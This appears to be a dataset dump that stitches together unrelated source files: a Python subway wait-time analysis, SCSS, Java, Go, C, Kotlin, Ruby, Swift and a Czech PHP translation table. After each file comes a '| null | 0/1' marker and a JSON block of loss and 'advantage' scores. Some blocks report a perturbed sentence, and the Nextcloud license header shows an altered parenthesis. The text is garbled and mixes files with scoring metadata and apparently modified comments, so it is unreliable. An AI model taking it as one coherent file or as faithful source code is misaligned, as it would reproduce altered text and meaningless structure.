stop_id = vehicle['stop_id']
else:
# L and SI stop at every station, need to use
stop_id = '%d%s' % (vehicle['current_stop_sequence'], vehicle['trip']['trip_id'][-1])
key = (stop_id, line)
timestamp = vehicle['timestamp']
t = datetime.datetime.utcfromtimestamp(vehicle['timestamp'])
if t.weekday() < 5:
real_trips.setdefault(key, set()).add(timestamp)
except:
print 'weird vehicle', vehicle
continue
if n_lines % 1000 == 0:
print n_lines, '...'
xs = []
ys = []
MAX = 1800
ys_by_x = [[] for x in xrange(MAX/60)]
print ys_by_x
max_time = 4 * 3600
for key, stops in real_trips.iteritems():
stop_id, line = key
stops = sorted(stops)
if len(stops) < 5:
print key, 'not enough stops'
continue # stupid
if key not in sched_trips:
print key, 'has no schedule'
continue
# Sample random points in time and tie
lo = stops[0]
hi = stops[-1]
for i in xrange(len(stops)): # pretty arbitrary number of samples
t = lo + random.random() * (hi - lo)
j = bisect.bisect(stops, t)
t0, t1 = stops[j-1], stops[j]
if t1 - t0 > max_time:
continue
real_wait_time = t1 - t
# transform t to day offset
u = (t + (19 * 60 * 60)) % (24 * 60 * 60)
j = bisect.bisect(sched_trips[key], u)
if j < len(sched_trips[key]):
u1 = sched_trips[key][j]
else:
u1 = 24 * 60 * 60 + sched_trips[key][0]
sched_wait_time = u1 - u
if max(sched_wait_time, real_wait_time) < MAX:
xs.append(sched_wait_time / 60.)
ys.append(real_wait_time // 60)
if sched_wait_time < MAX:
ys_by_x[int(sched_wait_time / 60.0)].append(real_wait_time / 60.)
seaborn.jointplot(numpy.array(xs), numpy.array(ys), kind='hex')
pyplot.savefig('wait_time_real_vs_sched_joint.png')
pyplot.clf()
percs = [50, 60, 70, 80, 90]
results = [[] for p in percs]
for x, ys in enumerate(ys_by_x):
print x, len(ys)
ps = numpy.percentile(ys, percs)
for i, y in enumerate(ps):
results[i].append(y)
for i, ys in enumerate(results):
pyplot.plot(range(len(ys)), ys, label='%d percentile' % percs[i])
pyplot.ylim([0, 60])
pyplot.title('How long do you have to wait given how much schedule predicts')
pyplot.xlabel('Scheduled waiting time (min)')
pyplot.ylabel('Real waiting time (min)')
pyplot.legend()
pyplot.savefig('wait_time_real_vs_sched_percentiles.png')
| null | 1
|
{
"advantage_score_max": 2.7375972270965576,
"advantage_score_mean": 2.2659318447113037,
"advantage_score_min": 1.7942664623260498,
"advantage_score_std": 0.4716653823852539,
"advantage_scores": [
2.7375972270965576,
1.7942664623260498
],
"baseline_doc_loss": 1.1226012706756592,
"baseline_truncated": false,
"doc_advantage_score": 0.9022975564002991,
"length_change_ratio": 1,
"net_length_change_chars": 0,
"original_sentences_length_chars": 31,
"replacement_paraphrases_length_chars": 31,
"sentences_perturbed": 1,
"target_doc_loss": 1.2441586256027222,
"target_truncated": false,
"threshold_passing_sentences": 2,
"total_doc_length_chars": 3751,
"total_sentences": 5,
"truncated": false
}
|
$title-color: $text-strong !default;
$title-family: false !default;
$title-size: $size-3 !default;
$title-weight: $weight-semibold !default;
$title-line-height: 1.125 !default;
$title-strong-color: inherit !default;
$title-strong-weight: inherit !default;
$title-sub-size: 0.75em !default;
$title-sup-size: 0.75em !default;
$subtitle-color: $text !default;
$subtitle-family: false !default;
$subtitle-size: $size-5 !default;
$subtitle-weight: $weight-normal !default;
$subtitle-line-height: 1.25 !default;
$subtitle-strong-color: $text-strong !default;
$subtitle-strong-weight: $weight-semibold !default;
$subtitle-negative-margin: -1.25rem !default;
.title,
.subtitle {
@extend %block;
word-break: break-word;
em,
span {
font-weight: inherit;
}
sub {
font-size: $title-sub-size;
}
sup {
font-size: $title-sup-size;
}
.tag {
vertical-align: middle;
}
}
.title {
color: $title-color;
@if $title-family {
font-family: $title-family;
}
font-size: $title-size;
font-weight: $title-weight;
line-height: $title-line-height;
strong {
color: $title-strong-color;
font-weight: $title-strong-weight;
}
& + .highlight {
margin-top: -0.75rem;
}
&:not(.is-spaced) + .subtitle {
margin-top: $subtitle-negative-margin;
}
// Sizes
@each $size in $sizes {
$i: index($sizes, $size);
&.is-#{$i} {
font-size: $size;
}
}
}
.subtitle {
color: $subtitle-color;
@if $subtitle-family {
font-family: $subtitle-family;
}
font-size: $subtitle-size;
font-weight: $subtitle-weight;
line-height: $subtitle-line-height;
strong {
color: $subtitle-strong-color;
font-weight: $subtitle-strong-weight;
}
&:not(.is-spaced) + .title {
margin-top: $subtitle-negative-margin;
}
// Sizes
@each $size in $sizes {
$i: index($sizes, $size);
&.is-#{$i} {
font-size: $size;
}
}
}
| null | 0
|
{
"advantage_score_max": null,
"advantage_score_mean": null,
"advantage_score_min": null,
"advantage_score_std": null,
"advantage_scores": null,
"baseline_doc_loss": null,
"baseline_truncated": null,
"doc_advantage_score": null,
"length_change_ratio": null,
"net_length_change_chars": null,
"original_sentences_length_chars": null,
"replacement_paraphrases_length_chars": null,
"sentences_perturbed": null,
"target_doc_loss": null,
"target_truncated": null,
"threshold_passing_sentences": null,
"total_doc_length_chars": null,
"total_sentences": null,
"truncated": null
}
|
package com.stardust.autojs.core.ui.inflater.inflaters;
import androidx.annotation.Nullable;
import android.view.View;
import android.view.ViewGroup;
import com.google.android.material.appbar.AppBarLayout;
import com.stardust.autojs.R;
import com.stardust.autojs.core.ui.inflater.ResourceParser;
import com.stardust.autojs.core.ui.inflater.ViewCreator;
import com.stardust.autojs.core.ui.inflater.util.Dimensions;
import java.util.Map;
public class AppBarInflater<V extends AppBarLayout> extends BaseViewInflater<V> {
public AppBarInflater(ResourceParser resourceParser) {
super(resourceParser);
}
@Override
public boolean setAttr(V view, String attr, String value, ViewGroup parent, Map<String, String> attrs) {
switch (attr) {
case "elevation":
view.setTargetElevation(Dimensions.parseToPixel(value, view));
break;
case "expanded":
view.setExpanded(Boolean.parseBoolean(value));
break;
default:
return super.setAttr(view, attr, value, parent, attrs);
}
return true;
}
@Nullable
@Override
@SuppressWarnings("unchecked")
public ViewCreator<? super V> getCreator() {
return (ViewCreator<V>) (context, attrs) -> (V) View.inflate(context, R.layout.js_appbar, null);
}
}
| null | 0
|
{
"advantage_score_max": null,
"advantage_score_mean": null,
"advantage_score_min": null,
"advantage_score_std": null,
"advantage_scores": null,
"baseline_doc_loss": null,
"baseline_truncated": null,
"doc_advantage_score": null,
"length_change_ratio": null,
"net_length_change_chars": null,
"original_sentences_length_chars": null,
"replacement_paraphrases_length_chars": null,
"sentences_perturbed": null,
"target_doc_loss": null,
"target_truncated": null,
"threshold_passing_sentences": null,
"total_doc_length_chars": null,
"total_sentences": null,
"truncated": null
}
|
/*
Copyright 2014 The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
// Package labels implements a simple label system, parsing and matching
// selectors with sets of labels.
package labels // import "k8s.io/apimachinery/pkg/labels"
| null | 0
|
{
"advantage_score_max": 0,
"advantage_score_mean": 0,
"advantage_score_min": 0,
"advantage_score_std": 0,
"advantage_scores": [],
"baseline_doc_loss": 0.6363961696624756,
"baseline_truncated": false,
"doc_advantage_score": 6.1369171142578125,
"length_change_ratio": 1,
"net_length_change_chars": 0,
"original_sentences_length_chars": 0,
"replacement_paraphrases_length_chars": 0,
"sentences_perturbed": 0,
"target_doc_loss": 0.10369965434074402,
"target_truncated": false,
"threshold_passing_sentences": 0,
"total_doc_length_chars": 736,
"total_sentences": 6,
"truncated": false
}
|
// Copyright 2017 Google LLC
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package bigquery
import (
"encoding/base64"
"unicode/utf8"
bq "google.golang.org/api/bigquery/v2"
)
// DataFormat describes the format of BigQuery table data.
type DataFormat string
// Constants describing the format of BigQuery table data.
const (
CSV DataFormat = "CSV"
Avro DataFormat = "AVRO"
JSON DataFormat = "NEWLINE_DELIMITED_JSON"
DatastoreBackup DataFormat = "DATASTORE_BACKUP"
GoogleSheets DataFormat = "GOOGLE_SHEETS"
Bigtable DataFormat = "BIGTABLE"
Parquet DataFormat = "PARQUET"
ORC DataFormat = "ORC"
// For BQ ML Models, TensorFlow Saved Model format.
TFSavedModel DataFormat = "ML_TF_SAVED_MODEL"
// For BQ ML Models, xgBoost Booster format.
XGBoostBooster DataFormat = "ML_XGBOOST_BOOSTER"
)
// ExternalData is a table which is stored outside of BigQuery. It is implemented by
// *ExternalDataConfig.
// GCSReference also implements it, for backwards compatibility.
type ExternalData interface {
toBQ() bq.ExternalDataConfiguration
}
// ExternalDataConfig describes data external to BigQuery that can be used
// in queries and to create external tables.
type ExternalDataConfig struct {
// The format of the data. Required.
SourceFormat DataFormat
// The fully-qualified URIs that point to your
// data in Google Cloud. Required.
//
// For Google Cloud Storage URIs, each URI can contain one '*' wildcard character
// and it must come after the 'bucket' name. Size limits related to load jobs
// apply to external data sources.
//
// For Google Cloud Bigtable URIs, exactly one URI can be specified and it has be
// a fully specified and valid HTTPS URL for a Google Cloud Bigtable table.
//
// For Google Cloud Datastore backups, exactly one URI can be specified. Also,
// the '*' wildcard character is not allowed.
SourceURIs []string
// The schema of the data. Required for CSV and JSON; disallowed for the
// other formats.
Schema Schema
// Try to detect schema and format options automatically.
// Any option specified explicitly will be honored.
AutoDetect bool
// The compression type of the data.
Compression Compression
// IgnoreUnknownValues causes values not matching the schema to be
// tolerated. Unknown values are ignored. For CSV this ignores extra values
// at the end of a line. For JSON this ignores named values that do not
// match any column name. If this field is not set, records containing
// unknown values are treated as bad records. The MaxBadRecords field can
// be used to customize how bad records are handled.
IgnoreUnknownValues bool
// MaxBadRecords is the maximum number of bad records that will be ignored
// when reading data.
MaxBadRecords int64
// Additional options for CSV, GoogleSheets and Bigtable formats.
Options ExternalDataConfigOptions
}
func (e *ExternalDataConfig) toBQ() bq.ExternalDataConfiguration {
q := bq.ExternalDataConfiguration{
SourceFormat: string(e.SourceFormat),
SourceUris: e.SourceURIs,
Autodetect: e.AutoDetect,
Compression: string(e.Compression),
IgnoreUnknownValues: e.IgnoreUnknownValues,
MaxBadRecords: e.MaxBadRecords,
}
if e.Schema != nil {
q.Schema = e.Schema.toBQ()
}
if e.Options != nil {
e.Options.populateExternalDataConfig(&q)
}
return q
}
func bqToExternalDataConfig(q *bq.ExternalDataConfiguration) (*ExternalDataConfig, error) {
e := &ExternalDataConfig{
SourceFormat: DataFormat(q.SourceFormat),
SourceURIs: q.SourceUris,
AutoDetect: q.Autodetect,
Compression: Compression(q.Compression),
IgnoreUnknownValues: q.IgnoreUnknownValues,
MaxBadRecords: q.MaxBadRecords,
Schema: bqToSchema(q.Schema),
}
switch {
case q.CsvOptions != nil:
e.Options = bqToCSVOptions(q.CsvOptions)
case q.GoogleSheetsOptions != nil:
e.Options = bqToGoogleSheetsOptions(q.GoogleSheetsOptions)
case q.BigtableOptions != nil:
var err error
e.Options, err = bqToBigtableOptions(q.BigtableOptions)
if err != nil {
return nil, err
}
}
return e, nil
}
// ExternalDataConfigOptions are additional options for external data configurations.
// This interface is implemented by CSVOptions, GoogleSheetsOptions and BigtableOptions.
type ExternalDataConfigOptions interface {
populateExternalDataConfig(*bq.ExternalDataConfiguration)
}
// CSVOptions are additional options for CSV external data sources.
type CSVOptions struct {
// AllowJaggedRows causes missing trailing optional columns to be tolerated
// when reading CSV data. Missing values are treated as nulls.
AllowJaggedRows bool
// AllowQuotedNewlines sets whether quoted data sections containing
// newlines are allowed when reading CSV data.
AllowQuotedNewlines bool
// Encoding is the character encoding of data to be read.
Encoding Encoding
// FieldDelimiter is the separator for fields in a CSV file, used when
// reading or exporting data. The default is ",".
FieldDelimiter string
// Quote is the value used to quote data sections in a CSV file. The
// default quotation character is the double quote ("), which is used if
// both Quote and ForceZeroQuote are unset.
// To specify that no character should be interpreted as a quotation
// character, set ForceZeroQuote to true.
// Only used when reading data.
Quote string
ForceZeroQuote bool
// The number of rows at the top of a CSV file that BigQuery will skip when
// reading data.
SkipLeadingRows int64
}
func (o *CSVOptions) populateExternalDataConfig(c *bq.ExternalDataConfiguration) {
c.CsvOptions = &bq.CsvOptions{
AllowJaggedRows: o.AllowJaggedRows,
AllowQuotedNewlines: o.AllowQuotedNewlines,
Encoding: string(o.Encoding),
FieldDelimiter: o.FieldDelimiter,
Quote: o.quote(),
SkipLeadingRows: o.SkipLeadingRows,
}
}
// quote returns the CSV quote character, or nil if unset.
func (o *CSVOptions) quote() *string {
if o.ForceZeroQuote {
quote := ""
return "e
}
if o.Quote == "" {
return nil
}
return &o.Quote
}
func (o *CSVOptions) setQuote(ps *string) {
if ps != nil {
o.Quote = *ps
if o.Quote == "" {
o.ForceZeroQuote = true
}
}
}
func bqToCSVOptions(q *bq.CsvOptions) *CSVOptions {
o := &CSVOptions{
AllowJaggedRows: q.AllowJaggedRows,
AllowQuotedNewlines: q.AllowQuotedNewlines,
Encoding: Encoding(q.Encoding),
FieldDelimiter: q.FieldDelimiter,
SkipLeadingRows: q
| null | 0
|
{
"advantage_score_max": 5.100682735443115,
"advantage_score_mean": 2.081037759780884,
"advantage_score_min": 1.208985447883606,
"advantage_score_std": 1.0920099020004272,
"advantage_scores": [
5.100682735443115,
2.8233392238616943,
2.77695894241333,
1.8865991830825806,
1.8841910362243652,
1.6059759855270386,
1.5396699905395508,
1.4513424634933472,
1.3864575624465942,
1.2272114753723145,
1.208985447883606
],
"baseline_doc_loss": 0.6864072680473328,
"baseline_truncated": false,
"doc_advantage_score": 0.9571647047996521,
"length_change_ratio": 1,
"net_length_change_chars": 0,
"original_sentences_length_chars": 0,
"replacement_paraphrases_length_chars": 0,
"sentences_perturbed": 0,
"target_doc_loss": 0.7171255350112915,
"target_truncated": false,
"threshold_passing_sentences": 11,
"total_doc_length_chars": 7082,
"total_sentences": 49,
"truncated": false
}
|
/**
* @file serial_sensor.h
*
*
* @date Mar 19, 2020
* @author Konstantin Smola, (c) 2020
*/
#pragma once
#define AFRMIN 0
#define AFRMAX 33
#define AFR_ERROR 30
void IdentifyInnovateSerialMsg();
void ParseInnovateSerialMsg();
void ParseSerialData();
void ResetSerialSensor();
void ClearSerialBuffer();
| null | 0
|
{
"advantage_score_max": null,
"advantage_score_mean": null,
"advantage_score_min": null,
"advantage_score_std": null,
"advantage_scores": null,
"baseline_doc_loss": null,
"baseline_truncated": null,
"doc_advantage_score": null,
"length_change_ratio": null,
"net_length_change_chars": null,
"original_sentences_length_chars": null,
"replacement_paraphrases_length_chars": null,
"sentences_perturbed": null,
"target_doc_loss": null,
"target_truncated": null,
"threshold_passing_sentences": null,
"total_doc_length_chars": null,
"total_sentences": null,
"truncated": null
}
|
package pro.dbro.ble.data.model;
import net.simonvt.schematic.annotation.AutoIncrement;
import net.simonvt.schematic.annotation.DataType;
import net.simonvt.schematic.annotation.NotNull;
import net.simonvt.schematic.annotation.PrimaryKey;
import static net.simonvt.schematic.annotation.DataType.Type.INTEGER;
/**
* Used to avoid sending a single identity to a particular client multiple times
*
* Created by davidbrodsky on 7/28/14.
*/
public interface IdentityDeliveryTable {
/** SQL type Modifiers Reference Name SQL Column Name */
@DataType(INTEGER) @PrimaryKey @AutoIncrement String id = "_id";
@DataType(INTEGER) @NotNull String peerRecipientId = "pr_id";
@DataType(INTEGER) @NotNull String peerPayloadId = "pp_id";
}
| null | 0
|
{
"advantage_score_max": null,
"advantage_score_mean": null,
"advantage_score_min": null,
"advantage_score_std": null,
"advantage_scores": null,
"baseline_doc_loss": null,
"baseline_truncated": null,
"doc_advantage_score": null,
"length_change_ratio": null,
"net_length_change_chars": null,
"original_sentences_length_chars": null,
"replacement_paraphrases_length_chars": null,
"sentences_perturbed": null,
"target_doc_loss": null,
"target_truncated": null,
"threshold_passing_sentences": null,
"total_doc_length_chars": null,
"total_sentences": null,
"truncated": null
}
|
/*
*
* * Nextcloud Talk application
* *
* * @author Mario Danic
* * Copyright (C) 2017-2020 Mario Danic <mario@lovelyhq.com>
* *
* * This program is free software: you can redistribute it and/or modify
* * it under the terms of the GNU General Public License as published by
* * the Free Software Foundation, either version 3 of the License, or
* * at your option) any later version.
* *
* * This program is distributed in the hope that it will be useful,
* * but WITHOUT ANY WARRANTY; without even the implied warranty of
* * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* * GNU General Public License for more details.
* *
* * You should have received a copy of the GNU General Public License
* * along with this program. If not, see <http://www.gnu.org/licenses/>.
*
*/
package com.nextcloud.talk.newarch.features.chat
import android.app.Application
import android.text.Editable
import androidx.lifecycle.MutableLiveData
import androidx.lifecycle.Transformations
import androidx.lifecycle.map
import androidx.lifecycle.viewModelScope
import com.bluelinelabs.conductor.Controller
import com.nextcloud.talk.models.json.chat.ChatMessage
import com.nextcloud.talk.models.json.chat.ChatOverall
import com.nextcloud.talk.models.json.conversations.Conversation
import com.nextcloud.talk.newarch.data.model.ErrorModel
import com.nextcloud.talk.newarch.data.source.remote.ApiErrorHandler
import com.nextcloud.talk.newarch.domain.repository.offline.ConversationsRepository
import com.nextcloud.talk.newarch.domain.repository.offline.MessagesRepository
import com.nextcloud.talk.newarch.domain.usecases.GetChatMessagesUseCase
import com.nextcloud.talk.newarch.domain.usecases.SendChatMessageUseCase
import com.nextcloud.talk.newarch.domain.usecases.base.UseCaseResponse
import com.nextcloud.talk.newarch.local.models.*
import com.nextcloud.talk.newarch.local.models.other.ChatMessageStatus
import com.nextcloud.talk.newarch.mvvm.BaseViewModel
import com.nextcloud.talk.newarch.services.GlobalService
import com.nextcloud.talk.newarch.services.GlobalServiceInterface
import com.nextcloud.talk.newarch.utils.NetworkComponents
import com.nextcloud.talk.newarch.utils.hashWithAlgorithm
import com.nextcloud.talk.utils.text.Spans
import kotlinx.coroutines.launch
import org.koin.core.parameter.parametersOf
import retrofit2.Response
import kotlin.collections.HashMap
import kotlin.collections.hashMapOf
import kotlin.collections.indices
import kotlin.collections.listOf
import kotlin.collections.map
import kotlin.collections.mutableListOf
import kotlin.collections.set
class ChatViewModel constructor(application: Application,
private val networkComponents: NetworkComponents,
private val apiErrorHandler: ApiErrorHandler,
private val conversationsRepository: ConversationsRepository,
private val messagesRepository: MessagesRepository,
private val globalService: GlobalService) : BaseViewModel<ChatView>(application), GlobalServiceInterface {
lateinit var user: User
val conversation: MutableLiveData<Conversation?> = MutableLiveData<Conversation?>()
var pastStartingPoint: Long = -1
val futureStartingPoint: MutableLiveData<Long> = MutableLiveData()
private var initConversation: Conversation? = null
val messagesLiveData = Transformations.switchMap(conversation) { conversation ->
conversation?.let {
messagesRepository.getMessagesWithUserForConversation(it.databaseId!!).map { chatMessagesList ->
chatMessagesList.map { chatMessage ->
chatMessage.activeUser = user.toUserEntity()
chatMessage.parentMessage?.activeUser = chatMessage.activeUser
if (chatMessage.systemMessageType != null && chatMessage.systemMessageType != ChatMessage.SystemMessageType.DUMMY) {
ChatElement(chatMessage, ChatElementTypes.SYSTEM_MESSAGE)
} else {
ChatElement(chatMessage, ChatElementTypes.CHAT_MESSAGE)
}
}
}
}
}
var conversationPassword: String? = null
var view: Controller? = null
fun sendMessage(editable: Editable, replyTo: Long?) {
val messageParameters = hashMapOf<String, HashMap<String, String>>()
val mentionSpans = editable.getSpans(
0, editable.length,
Spans.MentionChipSpan::class.java
)
var mentionSpan: Spans.MentionChipSpan
val ids = mutableListOf<String>()
for (i in mentionSpans.indices) {
mentionSpan = mentionSpans[i]
var mentionId = mentionSpan.id
if (mentionId.contains(" ") || mentionId.startsWith("guest/")) {
mentionId = "\"" + mentionId + "\""
}
val mentionNo = if (ids.contains("mentionId")) ids.indexOf("mentionId") + 1 else ids.size + 1
val mentionReplace = "mention-${mentionSpan.type}$mentionNo"
if (!ids.contains(mentionId)) {
ids.add(mentionId)
messageParameters[mentionReplace] = hashMapOf("type" to mentionSpan.type, "id" to mentionId.toString(), "name" to mentionSpan.label.toString())
}
val start = editable.getSpanStart(mentionSpan)
editable.replace(start, editable.getSpanEnd(mentionSpan), "")
editable.insert(start, "{$mentionReplace}")
}
if (user.hasSpreedFeatureCapability("chat-reference-id")) {
ioScope.launch {
val chatMessage = ChatMessage()
val timestamp = System.currentTimeMillis()
val sha1 = timestamp.toString().hashWithAlgorithm("SHA-1")
conversation.value?.databaseId?.let { conversationDatabaseId ->
chatMessage.internalMessageId = sha1
chatMessage.internalConversationId = conversationDatabaseId
chatMessage.timestamp = timestamp / 1000
chatMessage.referenceId = sha1
chatMessage.replyable = false
// can also be "guests", but not now
chatMessage.actorId = user.userId
chatMessage.actorType = "users"
chatMessage.actorDisplayName = user.displayName
chatMessage.message = editable.toString()
chatMessage.systemMessageType = null
chatMessage.chatMessageStatus = ChatMessageStatus.PENDING
if (replyTo != null) {
chatMessage.parentMessage = messagesRepository.getMessageForConversation(conversationDatabaseId, replyTo)
} else {
chatMessage.parentMessage = null
}
chatMessage.messageParameters = messageParameters
messagesRepository.saveMessagesForConversation(user, listOf(chatMessage), true)
}
}
} else {
val sendChatMessageUseCase = SendChatMessageUseCase(networkComponents.getRepository(false, user), ApiErrorHandler())
// No reference id needed here
initConversation?.let {
sendChatMessageUseCase.invoke(viewModelScope, parametersOf(user, it.token, editable, replyTo, null), object : UseCaseResponse<Response<ChatOverall>> {
override suspend fun onSuccess(result: Response<ChatOverall>) {
// also do nothing, we did it - time to celebrate1
}
override suspend fun onError(errorModel: ErrorModel?) {
// Do nothing, error - tough luck
}
})
}
}
}
fun joinConversation(user: User, conversationToken: String, conversationPassword: String?) {
viewModelScope.launch {
this@ChatViewModel.user = user
this@ChatViewModel.initConversation = conversationsRepository.getConversationForUserWithToken(user.id!!, conversationToken)
this@ChatViewModel.conversationPassword = conversationPassword
globalService.getConversation(conversationToken
| null | 1
|
{
"advantage_score_max": 5.532590389251709,
"advantage_score_mean": 2.051401138305664,
"advantage_score_min": 1.1689457893371582,
"advantage_score_std": 1.5766003131866455,
"advantage_scores": [
5.532590389251709,
1.896852970123291,
1.2651594877243042,
1.2312415838241577,
1.2136164903640747,
1.1689457893371582
],
"baseline_doc_loss": 1.0563355684280396,
"baseline_truncated": false,
"doc_advantage_score": 1.0863293409347534,
"length_change_ratio": 1,
"net_length_change_chars": 0,
"original_sentences_length_chars": 107,
"replacement_paraphrases_length_chars": 107,
"sentences_perturbed": 1,
"target_doc_loss": 0.972389817237854,
"target_truncated": false,
"threshold_passing_sentences": 6,
"total_doc_length_chars": 8394,
"total_sentences": 15,
"truncated": false
}
|
#!/usr/bin/env ruby
Dir.chdir(File.expand_path(File.join(File.dirname(__FILE__), '..')))
def verbose command
puts "--> #{command}"
system(command) || fail("Failed: #{command}")
end
['SignalingProtocol', 'ScreenSignalingProtocol'].each do |protocol|
dir = protocol.downcase
verbose "rm -rf src/#{dir}"
verbose "mkdir -p src/#{dir}"
# workaround for https://github.com/hegemonic/requizzle/issues/5
verbose "brew install node@10"
node = "#{`brew --prefix node@10`.strip}/bin/node"
# workaround for https://github.com/protobufjs/protobuf.js/issues/1217
verbose "#{node} node_modules/.bin/pbjs -t static-module -w commonjs -o src/#{dir}/#{protocol}.js ./protocol/#{protocol}.proto"
File.write('node_modules/protobufjs/package.json', File.read('node_modules/protobufjs/package.json').gsub('"jsdoc": "^3.5.5",', '"jsdoc": "~3.5.5",'))
verbose "#{node} node_modules/.bin/pbjs -t static-module -w commonjs -o src/#{dir}/#{protocol}.js ./protocol/#{protocol}.proto"
verbose "#{node} node_modules/.bin/pbts -o src/#{dir}/#{protocol}.d.ts src/#{dir}/#{protocol}.js"
# workaround for the Long type import issue. Remove when https://github.com/protobufjs/protobuf.js/pull/1166/files is released.
File.write("src/#{dir}/#{protocol}.d.ts", "import * as Long from \"long\";\n" + File.read("src/#{dir}/#{protocol}.d.ts"))
end
| null | 0
|
{
"advantage_score_max": 0,
"advantage_score_mean": 0,
"advantage_score_min": 0,
"advantage_score_std": 0,
"advantage_scores": [],
"baseline_doc_loss": 1.2163803577423096,
"baseline_truncated": false,
"doc_advantage_score": 0.9561042785644531,
"length_change_ratio": 1,
"net_length_change_chars": 0,
"original_sentences_length_chars": 0,
"replacement_paraphrases_length_chars": 0,
"sentences_perturbed": 0,
"target_doc_loss": 1.2722256183624268,
"target_truncated": false,
"threshold_passing_sentences": 0,
"total_doc_length_chars": 1346,
"total_sentences": 3,
"truncated": false
}
|
// Copyright (C) 2020 D0miH <https://github.com/D0miH> & Contributors <https://github.com/iglance/iGlance/graphs/contributors>
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
import Foundation
class MenuBarItemManager {
/// The cpu temperature menu bar item
let cpuTemp = CpuTempMenuBarItem()
/// The cpu usage menu bar item
let cpuUsage = CpuUsageMenuBarItem()
// The memory usage menu bar item
let memoryUsage = MemoryUsageMenuBarItem()
// The fan menu bar item
let fan = FanMenuBarItem()
/// The network menu bar item
let network = NetworkMenuBarItem()
/// The battery menu bar item
let battery = BatteryMenuBarItem()
/// The disk usage menu bar item
let diskUsage = DiskUsageMenuBarItem()
/// An array containing all the visible AND not visible menu bar items
var menuBarItems: [MenuBarItem] = []
init() {
menuBarItems.append(cpuTemp)
menuBarItems.append(cpuUsage)
menuBarItems.append(memoryUsage)
menuBarItems.append(fan)
menuBarItems.append(network)
menuBarItems.append(battery)
menuBarItems.append(diskUsage)
}
/**
* Updates all menu bar items.
*/
func updateMenuBarItems() {
// iterate all menu bar items and call the update function for the visible ones
for item in menuBarItems {
item.update()
}
}
}
| null | 0
|
{
"advantage_score_max": 0,
"advantage_score_mean": 0,
"advantage_score_min": 0,
"advantage_score_std": 0,
"advantage_scores": [],
"baseline_doc_loss": 0.6703659892082214,
"baseline_truncated": false,
"doc_advantage_score": 1.301106572151184,
"length_change_ratio": 1,
"net_length_change_chars": 0,
"original_sentences_length_chars": 0,
"replacement_paraphrases_length_chars": 0,
"sentences_perturbed": 0,
"target_doc_loss": 0.5152275562286377,
"target_truncated": false,
"threshold_passing_sentences": 0,
"total_doc_length_chars": 2015,
"total_sentences": 7,
"truncated": false
}
|
<?php
return array(
"path_api_select_file" => "Prosím, vyberte soubor ...",
"path_api_select_folder" => "Prosím vyberte složku ...",
"path_api_select_image" => "Prosím, vyberte obrázek ...",
"share_can_upload" => "povolit nahrávání",
"move_error" => "přesunout se nezdařilo",
"setting_basic" => "Základní nastavení",
"setting_user_sound_open" => "open Sound",
"setting_user_animate_open" => "otevřená Animace",
"recycle_open_if" => "Otevřete Koš",
"recycle_open" => "otevřeno",
"qrcode" => "URL QR code",
"theme_mac" => "Mac minimalistické bílé",
"theme_win7" => "Windows 7",
"theme_win10" => "Windows 10",
"theme_metro" => "Metro Modrá Classic",
"theme_metro_green" => "Metro světle zelená",
"theme_metro_purple" => "Metro elegantní fialová",
"theme_metro_pink" => "Metro Rose",
"theme_metro_orange" => "Metro jasně oranžová",
"theme_alpha_image" => "Bright - létání",
"theme_alpha_image_sun" => "Bright - Sunset",
"theme_alpha_image_sky" => "Symphony - Blue Sky",
"theme_diy" => "<b>Custom</b>",
"theme_diy_title" => "Nastavení vlastní motiv",
"theme_diy_background" => "pozadí",
"theme_diy_image" => "obrázek",
"theme_diy_color_blur" => "Gradient barva",
"theme_diy_image_blur" => "obrázek rozostření",
"theme_diy_image_url" => "fotografie adresa",
"theme_diy_color_start" => "Spuštění barva",
"theme_diy_color_end" => "konec Color",
"theme_diy_color_radius" => "Gradient úhel",
"system_role_admin_set" => "Administrátoři mají všechna práva, bez nastavení!",
"login_error_user_not_use" => "Uživatel byl zakázán! Prosím, obraťte se na správce",
"login_error_kod_version" => "konflikt verze",
"login_error_role" => "Zobrazení oprávnění skupina neexistuje, obraťte se na správce",
"no_permission_group" => "Nejste v této skupině!",
"no_permission_write" => "Adresář nemá oprávnění k zápisu",
"user" => "uživatel",
"save_as" => "uložit jako",
"check_update" => "aktualizovat",
"keyboard_type" => "Režim klávesnice",
"font_family" => "Fonty",
"code_mode" => "zvýrazňování syntaxe",
"path_can_not_action" => "Adresář nepodporuje tuto operaci!",
"wap_page_pc" => "PC verze",
"wap_page_phone" => "mobilní",
"image_size" => "rozměry obrázku",
"no_permission_action" => "Nemáte toto oprávnění, obraťte se na správce!",
"path_is_root_tips" => "To má přijít do kořenového adresáře!",
"kod_group" => "organizace",
"my_kod_group" => "Skupina, kde jsem",
"space_tips_default" => "(GB) 0 žádný limit",
"space_tips_full" => "bez omezení",
"space_size" => "prostor",
"space_size_use" => "Využití prostoru",
"space_is_full" => "Prostor je plná, obraťte se na správce!",
"system_open_true_path" => "Úspěšně otevřen ve správci souborů!",
"group_role_error" => "Chyba oprávnění role (bez nastavení oprávnění)",
"group_role_error_admin" => "nedostatečná oprávnění",
"markdown_content" => "Obsah",
"system_group" => "Uživatelé a skupiny",
"system_group_edit" => "management Group",
"system_group_role" => "identita Role",
"system_group_create" => "Vytvořit skupinu",
"system_group_name" => "Název skupiny",
"system_group_father" => "Horní skupina",
"system_group_add" => "Přidání sub-paket",
"system_group_remove" => "Smazání skupiny uživatelů",
